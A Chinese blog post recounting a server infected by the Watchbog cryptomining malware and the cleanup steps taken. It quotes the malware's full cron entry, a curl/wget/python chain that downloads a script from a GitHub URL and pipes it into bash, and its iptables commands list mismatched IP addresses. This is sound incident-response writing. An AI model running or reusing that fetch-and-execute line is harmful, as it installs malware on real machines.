服务器挖矿是什么意思,服务器被攻击挖矿怎么解决!

服务器挖矿是什么意思,服务器被攻击挖矿怎么解决!,第1张

服务器挖矿是什么意思,服务器攻击挖矿怎么解决! 最近运气不太好,居然有台服务器被挖矿了,下面记录下问题发生的过程和解决方法,仅供参考。




一、Watchbog挖矿病毒1、服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示:2、杀掉会话发现用kill杀掉后,这个进程还是会隔一会自动起来,很明显被加入了定时任务,检查所示:*/9 * * * * (curl -fsSL https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||wget -q -O- https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||python -c 'import urllib2 as fbi;print fbi.urlopen("https://github.com/luckysBoys/lucks/blob/master/5.sh").read()'||curl -fsSL https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||wget -q -O - https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||curl -fsSLk https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh -m 90||wget -q -O - https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh --no-check-certificate -t 2 -T 60)|bash打开这个URL,发现像是一堆base64的密文,密文地址。


3、当清除掉定时任务的内容之后,隔了一会,其又被加入了如上一模一样的内容,所以该病毒程序不是一般的病毒程序。


4、经过后来的了解,发现该进程watchbog为被植入的挖矿程序,该程序会在cron下面写入脚本,定期去pastebin.com下载木马开始挖矿,如果删除不彻底仍然会不定期启动这个挖矿程序。




二、解决过程1、 修改/etc/hosts通过观察定时任务内容,可以发现几个恶意网址,分别如下:1)raw.githubusercontent.com2)github.com先将上述这些地址重定向到本地2、防火墙控制出入流量将上述被攻击者携带的域名所对应的的ip地址进行ip限制。


--比如raw.githubusercontent.com对应的ip为10.20.208.21iptables -A INPUT -s 10.20.209.21 -j DROPiptables -A OUTPUT -s 10.20.209.21 -j DROPiptables -A OUTPUT -j DROP -d 10.20.209.2--保存修改内容/sbin/service iptables save3、移除curl get脚本因为该挖矿程序会借助curl、wget命令去下载病毒,所以第一时间我们需要进行如下 *** 作:mv /usr/bin/curl /usr/bin/lrucmv /usr/bin/wget /usr/bin/tegw如果确认病毒彻底被删除,我们可以不需要 *** 作。


4、 删掉cron里面的相关任务crontab -l /etc/cron.d /etc/cron.deny /etc/cron.monthly /etc/cron.daily /etc/cron.hourly /etc/crontab /etc/cron.weekly上述8个与cron相关的文件目录我们都需要仔细检查一遍,凡是有关不知名的域名等信息都要彻底删除。


1) crontab -l2)/etc/cron.d该目录下新增了好几个命令:appache、root、system3)/etc/cron.deny没有发现4)/etc/cron.monthly5)/etc/cron.daily6)/etc/cron.hourly7)/etc/crontab在crontab文件中还发现了新的潜藏命令httpntp、ftpdns8)/etc/cron.weekly没有发现最后在用find过滤一遍,确保完全清除干净。


5、 删除恶意命令同时我们还发现了恶意命令/bin/httpntp、/bin/ftpsdns、/usr/bin/watchbog之所以看到这些恶意命令,是从定时任务日志(/var/log/cron)中发现的。


6、 删除tmp目录下timesyncc.service文件文件详情如下:7、杀掉watchbog进程ps -ef|grep watchbog|awk '{print $2}'|xargs kill -9


总结面对挖矿进程我简单总结了以下几点,如果遇到挖矿进程处理先后顺序如下:1)查看定时任务,找到挖矿程序在执行的内容。


2)将恶意网址的hosts全部重定向到本地(127.0.0.1)3)仔细查看审核与定时任务有关的文件和目录,进行清除4)删除恶意的命令与包,重命名系统中被利用的命令5)杀掉对应恶意进程(为什么放到最后呢?因为就算最早杀掉,其还是会因为定时任务等等自动启动)

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/595381.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-13
下一篇 2022-04-13

发表评论

登录后才能评论

评论列表(0条)

保存